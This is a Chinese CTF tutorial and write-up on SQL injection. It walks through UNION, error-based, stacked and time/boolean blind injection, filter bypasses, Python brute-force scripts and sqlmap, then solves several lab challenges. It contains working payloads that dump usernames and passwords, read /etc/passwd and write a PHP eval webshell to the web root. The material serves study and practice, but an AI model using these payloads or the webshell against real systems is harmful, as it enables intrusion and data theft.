SQL注入+CTF实例

news2024/11/15 17:19:31

SQL注入的做题步骤

1.判断数字型还是字符型

数字型:
select * from table where id=$id;
字符型:
select * from table where id='$id'; # 一般是单引号闭合,也有可能是双引号,又或者是')、")、'))等等都有可能

可以用and 1=1和and 1=2作为判断

如果是字符型:and 1=1 和 and 1=2都会正常显示

如果是数字型:and 1=1 会正常显示,但是 and 1=2不会正常显示

 

 2.先用万能密码试一下

万能密码有很多种形式:
' or 1=1 --+ ## 字符型
' or '1'='1 ## 字符型
 or 1=1 ## 数字型

 

3.如果可以回显的话,就可以打一套组合拳

# 以数字型为例
## 使用order by查询字段个数
?id=1 order by 4
## 使用union select,上一步已经知道字段个数,union select 1,2,3,.....(字段个数是多少个就写到几)
?id=-1 union select 1,2,3 // 用-1就可以知道知道具体回显的是1还是2还是3
## 爆库名
?id=-1 union select 1,2,database() //有时还要查询以下数据库的版本,因为只有mysql5.0以上的版本有information_schema数据库,才可以用接下来的一套:version()
## 爆表名
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
## 爆列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
## 爆敏感信息
?id=-1 union select 1,2,group_concat(id,username,password) from users

4.报错注入的话,也可以打一套组合拳

# 以字符型为例,闭合方式是单引号
## 爆库名
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
## 爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
## 爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e))--+
## 爆敏感信息
?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)--+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e))--+
  • 使用前提:在mysql(大于5.1版本)中添加了对XML文档进行查询和修改的函数,updatexm()和extracvalue();而显示错误则需要在开发程序中采用print_r mysql_error()函数,将mysql错误信息输出。
  • 即后台没有屏蔽数据库的报错信息,且报错信息会返回到前端

5.堆叠注入

堆叠查询可以执行任意的sql语句。但在Mysql中,需要使用mysql_multi_query()函数才可以进行多条sql语句同时执行。

6.盲注

6.1基于时间的盲注(也叫延时注入,用的最多,不用考虑回显)

//判断闭合方式,如果正确执行了sleep表示闭合方式正确
1' and if(1=1,sleep(5),1)--+
// 判断长度
1' and if(length(database())=8,sleep(5),1)--+
// 爆库名
1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
// 爆表名
1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,sleep(5),1)--+
// 爆字段
1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(5),1)--+
// 爆敏感信息
1' and if(ascii(substr((select group_concat(password) from users),1,1))=68,sleep(5),1)--+

其中的函数:

  • if(条件,1,sleep(10)) 函数:当条件为真,则执行sleep(5),页面延迟5秒,否则不延迟
  • ascii()函数:将指定字符串进行acii编码
  • substr()函数:截取字符串,第2个参数是开始截取的位置(从1开始),第3个参数是截取的长度。与它用法相同的还有mid()函数

题目中遇到需要盲注的时候,可以用python脚本或者是用sqlmap

# python脚本
import time
import requests

url='http://sqli-labs.com/Less-9/?id=1'
# 单引号闭合
## 爆库名
payload1="' and if(ascii(substr(database(),{},1))={},sleep(5),1)--+"
## 爆表名
payload2="1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={},sleep(5),1)--+"
## 爆字段名
payload3="1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{},1))={},sleep(5),1)--+"
## 爆敏感信息
payload4="1' and if(ascii(substr((select group_concat(password) from users),{},1))={},sleep(5),1)--+"

flag=""
for i in range(1,50):
    for j in range(33,127):
        final_url=url+payload2.format(i,j)
        t1=time.time()
        response=requests.get(final_url) # get请求
        t2=time.time()
        if t2-t1>5:
            flag+=chr(j)
            print(flag)
            break
print(flag)

6.2基于布尔的盲注(需要观察页面的细微变化)

//判断闭合方式,在没有报错信息的情况下,页面在正确和错误时有细微的变化
1'
// 判断长度
1' and length(database())=8--+
// 爆库名
1' and ascii(substr(database(),1,1))=115--+
// 爆表名
1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101--+
// 爆字段
1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105--+
// 爆敏感信息
1' and ascii(substr((select group_concat(password) from users),1,1))=68--+
# python脚本
import requests

url='http://sqli-labs.com/Less-8/?id=1'
# 单引号闭合
## 爆库名
payload1="1' and ascii(substr(database(),{},1))={}--+"
## 爆表名
payload2="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}--+"
## 爆字段名
payload3="1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{},1))={}--+"
## 爆敏感信息
payload4="1' and ascii(substr((select group_concat(password) from users),{},1))={}--+"

flag=""
for i in range(1,50):
    for j in range(33,127):
        final_url=url+payload1.format(i,j)
        response=requests.get(final_url) # get请求
        if "You are in" in response.text:
            flag+=chr(j)
            print(flag)
            break
print(flag)

7.读取敏感文件和写入一句话木马

7.1select into outfile 写一句话木马

利用条件:
1.知道网站的绝对路径
2.secure_file_priv不能为null(在mysql中执行show variables like 'secu%';可以知道)
3.具有写入文件的权限

-1 union select 1,"<?php @eval($_POST[1]);?>" into outfile "/var/www/html/test2.php"

 7.2利用load_file读取敏感文件

-1 union select 1,load_file('/etc/passwd')

MySQL的一些基础知识

在mysql5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。在这个数据库中,有一些比较重要的表可以帮助解题。

tables表

用于存放MySQL中所有数据库表的名字,有两个字段名:table_name(显示表的名字)、table_schema(表所属数据库的名字)

columns表

用于存放MySQL中所有数据库字段的名字,有三个字段:column_name(字段名字)、table_name(字段所属表的名字)、table_schema(字段所属表所属数据库名字)

schemata表

用于存放所有数据库的的名字。

select group_concat(schema_name) from information_schema.schemata;

其他查询语句 

 除了select查询语句以外,还有其他不太常见的查询语句,在select被过滤之后可以用:

show databases; # 显示所有的数据库
show tables; # 显示当前数据库的所有表
show tables from db_name; # 显示指定数据库的所有表
show columns from table_name; # 显示指定表的字段名

handler基础语句:(一次读取一行)
handler table_name open; # 打开一个指定表名的句柄
handler table_name read first; # 获取第一行
handler table_name read next; # 获取下一行
handler table_name read prev; # 获取上一行
handler table_name read last; # 获取最后一行
handler table_name close; # 打开一个指定表名的句柄

预处理语句

预处理语句用于执行多个相同的SQL语句,这样就不用每次输入,减少编译次数,提高运行效率。Mysql官方将prepare、execute、deallocate统称为prepare statement。

比如:
set @b=concat("sele","ct","* from `1919810931114514`");
prepare dump from @b;
execute dump;

一些绕过姿势

这些绕过方式在遇到其他waf也是同样适用的。

  • 大小写绕过

        如果程序中设置了过滤关键字,但是过滤过程中并没有对关键字组成进行深入分析过滤,导致只是对整体进行过滤。

        如:sElEct

  • 双写绕过

        是因为过滤时只进行了一次替换,将关键字替换为空

        如:ununionion、selselectect

  • 编码绕过

        可以利用URL编码、十六进制编码、Unicode编码、ASCII编码绕过

  • 内联注释绕过

        将语句放在/*!...*/中,只有在MySQL中会执行

        如:/*!select*/ * from admin

  • 多个注释符等效替换

        --+、#、/*...*/

        用 or '1'=' 闭合单引号

  • 过滤and和or

        除了上面的大小写、双写,还有&&和||

  • 过滤空格

        编码:%20(URL编码、%09(Tab键,水平、%0a(新建一行)、%0c(新的一页)、%0d(return功能)、%0b(Tab键,垂直)、%a0

        用括号包裹、/**/代替空格、`(Tab键上面的)

  • 过滤等号

        like:不加通配符的时候执行效果和 = 一致

        rlike:不加通配符的时候和 = 一致

        !<>:<>等价于!=,前面加一个!就是等号

sqlmap的使用

sqlmap的参数和使用命令非常多,只能先记一些基础的,要用的时候再去查,再去积累。

# get请求的基础命令: --batch是使用默认回复,不询问用户
sqlmap -u "目标网址/?id=1" --batch --dbs // 探测数据库
sqlmap -u "目标网址/?id=1" --batch -D 数据库名 --tables  //探测表名
sqlmap -u "目标网址/?id=1" --batch -D 数据库名 -T 表名 --columns  //探测字段名
sqlmap -u "目标网址/?id=1" --batch -D 数据库名 -T 表名 -C username,password --dump  //探测字段值
# post请求:用sqlmap有3种
1.
sqlmap -r 文件路径 -p id --dbs// 用bp抓包后,保存请求包为文件。在有多个参数的时候,用-p指定参数
2.
sqlmap -u "目标网址" --forms --dbs
3.
sqlmap -u "目标网址" --data="id=1" --dbs
# 其他进阶命令和参数
sqlmap -u "目标网址/?id=1" --technique=S // --technique:使用的 SQL 注入技术,当知道可以用什么注入技术的时候,可以指定,有BEUSTQ,S是堆叠注入

# 读取敏感文件
sqlmap -u "目标网址/?id=1" --batch --file-read='/etc/passwd' //会将结果存放在指定路径下(路径会有提示)

# 上传一句话木马
sqlmap -u "目标网址/?id=1" --batch --file-write='木马所在路径' --file-dest='靶机存放木马文件的路径'

# 更新sqlmap
sqlmap --update

CTF实例

XCTF-inget(万能密码)

1.用万能密码尝试

// 用以下payload可以得到flag
?id=1' or '1=1
?id=1' or 1=1--+
?id=1' or 1=1%23 //不能直接用#,会被浏览器当作URL的书签
?id=1' or '1'='1
?id=' or ''='

原理:
因为是字符型,所以第一个单引号是闭合'$id',后面的是为了让永真条件成立,用原本的单引号闭合或者直接注释掉

2.或者用sqlmap,然后后面跟参数即可 

sqlmap -u "http://61.147.171.105:52454/?id=1"

BUUCTF-极客大挑战2019-LoveSQL(回显)

1.表单输入,随便输入然后用bp抓包,可以看到是字符型,且单引号闭合。这题没有任何的过滤,可以自己手动注入

数据库名:geek

表名:geekuser,l0ve1ysq1

l0ve1ysq1列名:id,username,password

BUUCTF-极客大挑战2019-HardSQL(报错注入)

1.使用bp进行fuzz测试,可以发现过滤了很多关键词

什么是fuzz模糊测试?

它是一种介于完全的手工渗透测试与完全的自动化测试之间的安全性测试类型。

在ctf中,使用方法为:先手工测试几个符号,大概看看有哪个被过滤掉了,然后在模糊测试时,只要和你刚测试的length一样长的,就都是被过滤的。

2.尝试报错注入:过滤了and、&&、||,改用or;过滤了=,改用like;还过滤了空格,可以用括号包裹

payload1:
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
payload2:
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
payload3:
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#
payload4:
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#

数据库名:geek

表名:H4rDsq1

H4rDsq1列名:id,username,password

 3.到第四个payload时,发现flag无法完全显示,可以用right函数

right函数:从右边截取指定长度的字符串

left函数:从左边截取

payload5:
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#

BUUCTF-强网杯2019随便注(堆叠注入) 

1.用万能密码尝试,发现会显示所有结果。

 2.尝试用回显的时候,order by没有被过滤,但是union和select都被过滤了。用的是preg_match/i,双写和大小写都不能绕过;尝试用了URL编码好像也不行

 3.select被过滤,可以尝试show语句+堆叠注入

payload1:
-1';show databases;
payload2:
-1';use supersqli;show tables;
payload3:
-1';show columns from `1919810931114514` from supersqli;# 字符串为表名操作时要加反引号

 

数据库:supersqli

表:1919810931114514、words(开始输入1时返回的数据就是words里面的)

1919810931114514表字段:flag

4.最后用handler语句查询表中数据

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。 

payload4:
-1';handler `1919810931114514` open as p;handler p read first;

5.这题用不了预处理语句,因为使用strstr函数去匹配set和prepare关键字

BUUCTF-极客大挑战2019-BabySQL(绕过姿势)

1.这道题尝试使用万能密码的时候,可以发现or和and都被过滤了。用大小写无法绕过,但是双写可以。

 2.然后尝试用回显,order by没法用,因为or和by被过滤了,尝试用union select(记得双写),发现2和3可以回显

3.然后接着爆库,记得information_schema里的or双写,发现from和where也被过滤,也是双写绕过。爆字段名的时候and被过滤,用&&即可绕过,最后password中的or也要双写

payload1:
' uniunionon selselectect 1,2,database()#
payload2:
' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database()#
payload3:
' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema=database()&&table_name='b4bsql'#
payload4:
' uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql#

 

数据库:geek

版本:10.3.18-MariaDB

表:b4bsql,geekuser

b4bsql字段:id,username,password

BugKu-成绩查询(post请求) 

1.用bp抓包,没有任何过滤,直接回显一套组合拳就可以得到flag

数据库:skctf

版本:5.1.73

表:fl4g,sc

字段名:skctf_flag

2.用sqlmap也可以,bp抓包将请求包保存1.txt

payload1:
sqlmap -r 1.txt --dbs
或者:sqlmap -u http://114.67.175.224:10035/ --forms --dbs ## 全部回车默认选项即可
或者:sqlmap -u http://114.67.175.224:10035/ --data="id=1" --dbs
payload2:
sqlmap -r 1.txt -D skctf --tables
payload3:
sqlmap -r 1.txt -D skctf -T fl4g --columns
payload4:
sqlmap -r 1.txt -D skctf -T fl4g -C skctf_flag --dump

 

BUUCTF-CISCN2019 华北赛区 Day2 Web1-Hack World(布尔盲注)

1.尝试输入1和2有内容,其他没有,尝试输入1abc的时候返回bool(false),是数字型。尝试用万能密码的时候会返回SQL Injection Checked.,说明被过滤了。用bp的fuzz测试一下,发现过滤了很多

2.题目提示了flag在flag表中,字段名也为flag,所以直接用python脚本爆破flag。好像这题用不了sqlmap,试了很多次还是不行。

import requests

# post请求
url="http://62d5a90a-a54f-41ae-9659-5d363a1ef7d5.node5.buuoj.cn:81/index.php"
payload1="(ascii(substr(database(),{},1))={})" ## 数据库名 ctftraining
payload2="(ascii(substr((select(flag)from(flag)),{},1))={})" ## 没用group_concat因为过滤group关键字
flag=""
for i in range(1,50):
    for j in range(33,127):
        payload=payload2.format(i,j)
        data={
            "id":payload
        }
        response=requests.post(url,data=data)
        if "Hello, glzjin wants a girlfriend." in response.text:
            flag+=chr(j)
            print(flag)
            break
print(flag)## flag{9b46b4b5-8fba-4075-89385794f31}

青少年CTF练习平台-文章管理系统(读取敏感文件或写入木马)

 1.用1 and 1=2测试发现是数字型,然后用万能密码尝试,发现了一个假的flag。

2.这道题没有过滤,但是不是在数据库中找flag,可以用sqlmap读取敏感文件,或者写入木马用蚁剑连接都可以得到flag。

payload1:
sqlmap -u http://challenge.qsnctf.com:32007/?id=1 --file-read="/flag" ## 这次flag文件名刚好是flag
payload2:
sqlmap -u http://challenge.qsnctf.com:32007/?id=1 --file-write="1.php" --file-dest="/var/www/html/test.php"
payload3:
-1 union select 1,"<?php @eval($_POST[1]);?>" into outfile "/var/www/html/test2.php"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2127008.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

康谋分享 | 汽车仿真与AI的结合应用

在自动驾驶领域&#xff0c;实现高质量的虚拟传感器输出是一项关键的挑战。所有的架构和实现都会涉及来自质量、性能和功能集成等方面的需求。aiSim也不例外&#xff0c;因此我们会更加关注于多个因素的协调&#xff0c;其中&#xff0c;aiSim传感器实现的神经网络渲染仿真方案…

[001-03-007].第07节:Redis中的管道

我的后端学习大纲 我的Redis学习大纲 1、Redis管道的由来&#xff1a; 1.Redis是一种基于客户端-服务端模型以及请求/响应协议的TCP服务。一个请求会遵循以下步骤&#xff1a; 客户端向服务端发送命令分四步(发送命令→命令排队→命令执行→返回结果)&#xff0c;并监听Socket…

C++类和对象 第二级初阶

目录 面向过程和面向对象 类 类是什么&#xff1f; 类的定义 1.声明和定义都放在类中 2.声明和定义分离 类的访问限定符 类的封装 类的作用域 类的实例化 类对象存储 结构体内存对齐规则 面向过程和面向对象 c语言是面向过程的 c是面向对象的 怎么理解&#xff1f…

外包干了三年,快要废了。。。

先说一下自己的情况&#xff0c;普通本科&#xff0c;在外包干了3年多的功能测试&#xff0c;这几年因为大环境不好&#xff0c;我整个人心惊胆战的&#xff0c;怕自己卷铺盖走人了&#xff0c;我感觉自己不能够在这样蹉跎下去了&#xff0c;长时间呆在一个舒适的环境真的会让一…

【智能终端】HBuilder X 与微信开发者工具集成与调试实战

目录 1. 需求和理解库、框架、平台 1.1 需求 1.2 理解 2.3 库、框架、平台 2.3.1 库&#xff08;Library&#xff09; 2.3.2 框架&#xff08;Framework&#xff09; 2.3.3 平台&#xff08;Platform&#xff09; 2.3.4 总结 2. 使用 HBuilder X 创建第一个 uni-app 应…

MATLAB绘图基础7:单变量图形绘制

参考书&#xff1a;《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 7.单变量图形绘制 7.1 直方图 直方图 ( H i s t o g r a m ) ({\rm Histogram}) (Histogram)&#xff1a;一种常用于可视化数据分布的图形类型&#xff0c;用于显示数据集中各数值范围的频率…

STM32G474RE之RTC

STM32G474RE之RTC使用HAL库实现RTC时间配置&#xff0c;以及报警配置&#xff0c;支持双路报警。 1、STM32G474RE的RTC晶振引脚&#xff1a; OSC32_IN为PC14&#xff0c;OSC32_OUT为PC15&#xff1b; 2、Vbat引脚 Vbat引脚是用来给外部晶振LSE和备份寄存器提供电源。当没有“…

9.11 QT ( Day 4)

一、作业 1.Widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTimerEvent> //定时器类 #include <QTime> #include <QtTextToSpeech> //文本转语音类QT_BEGIN_NAMESPACE namespace Ui { class Widget; } QT_END_NAMESPACEcl…

Redis——通用命令

目录 Redis通用命令Redis中最核心的两个命令getset Redis全局命令keys语法注意事项 existsdel(delete)expirettlredis的key的过期策略是怎么实现的&#xff1f;**了解拓展** type总结 Redis通用命令 Redis的命令非常非常多&#xff0c;所以 1. 掌握常用命令&#xff08;多操作…

ardunio超声波测距实验

工作原理 模块有2个超声波换能器&#xff08;如图所示&#xff09;&#xff0c;一个发出声波&#xff0c;另一个接收物体反射回来的声波&#xff0c;这中间所经过的时间即声波传播的时间&#xff0c;再结合声速就能计算出&#xff1a; 距离 声速 * 时间 2 如何使用HC-SR04模块…

从OracleCloudWorld和财报看Oracle的转变

2024年9月9-12日Oracle Cloud World在美国拉斯维加斯盛大开幕 押注AI和云 Oracle 创始人Larry Ellison做了对Oracle战略和未来愿景的主旨演讲&#xff0c;在演讲中Larry将AI技术和云战略推到了前所未有的高度&#xff0c;从新的Oracle 23c改名到Oracle23ai&#xff0c;到Oracl…

unity3d入门教程一

unity3d入门教程一 2.1-开发环境2.2 新建项目3.1编辑器页面3.2场景3.3添加资源4.1场景视图4.2游戏对象4.3坐标系4.4游戏对象的操作4.5摄像机 2.1-开发环境 https://unity.com/ https://unity.cn/ 安装时若卡住&#xff0c;打开路径自动安装 C:\Users\zhaocai\AppData\Local\T…

信息安全国内外现状及技术要求示例(R155/R156)

国际政策、 法规的现状与趋势 鉴于对交通安全、社会安全甚至国家安全的重要影响&#xff0c;汽车网络安全、数据安全得到各相关国家和地区的高度重视&#xff0c;纷纷出台相关法规、标准。 信息安全法规 R155 法规适用范围覆盖了乘用车及商用车&#xff0c;适用于 M 类、N 类…

北斗盒子:海上安全的智能守护者——落水报警应用案例

海上环境多变&#xff0c;无论是航行还是作业活动&#xff0c;安全始终是最重要的考量。近年来&#xff0c;我国大力发展海上经济&#xff0c;海上作业的增加也带来了溺水事故的频发&#xff0c;给家庭和社会带来沉重的伤痛。据世界卫生组织统计&#xff0c;溺水是世界各地非故…

SQL(结构性查询语句)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、SQL是什么&#xff1f;二、DDL三、DML四、DQL五、DCL总结 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、SQL是什么&#xff…

【R语言】删除数据框中所有行中没有大于200的数值的行

在Perl中还需要循环按行读入文件&#xff0c;而在R中&#xff0c;一行代码解决问题&#xff1a; df <- df[apply(df, 1, function(x) any(x > 200)), ]这是一个使用apply函数对数据框df进行操作的表达式。apply函数用于对数据框、矩阵或数组进行元素级别的操作。 df&am…

虚拟机安装教程

做一期详细的虚拟机安装教程 VM16.12版本下载地址&#xff1a;联想乐云 VM16版本许可证&#xff1a;ZF3R0-FHED2-M80TY-8QYGC-NPKYF 第一步双击打开安装包&#xff1a; 选择安装位置&#xff0c;选择空间充足的磁盘&#xff0c;一般不建议直接装c 取消勾选 等待安装 输入许可…

sqli-labs靶场自动化利用工具——第6关

文章目录 概要整体架构流程技术细节执行效果小结 概要 Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生&#xff0c;或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢&#xff1f;可能有些人会说不是有sqlmap&#…

中信银行信用卡中心社招:TAS人才测评系统题库及通关攻略更新了!

中信银行信用卡中心&#xff08;以下简称“卡中心”&#xff09;是中信银行在深圳设立的对信用卡业务进行统一管理、集中操作、独立核算的专营机构。2002年底&#xff0c;由中信银行总行与中信嘉华银行在深圳合作筹建成立&#xff1b;卡中心自成立伊始&#xff0c;始终坚持“以…

Windows系统一键启动Redis脚本

Redis 是一个开源的、高性能的键值存储数据库&#xff0c;广泛应用于缓存、数据分析、消息队列等场景。无论是在开发环境还是生产环境中&#xff0c;快速启动 Redis 服务都是非常重要的。为此&#xff0c;本文将介绍如何在 Windows 系统中创建一键启动 Redis 的脚本&#xff0c…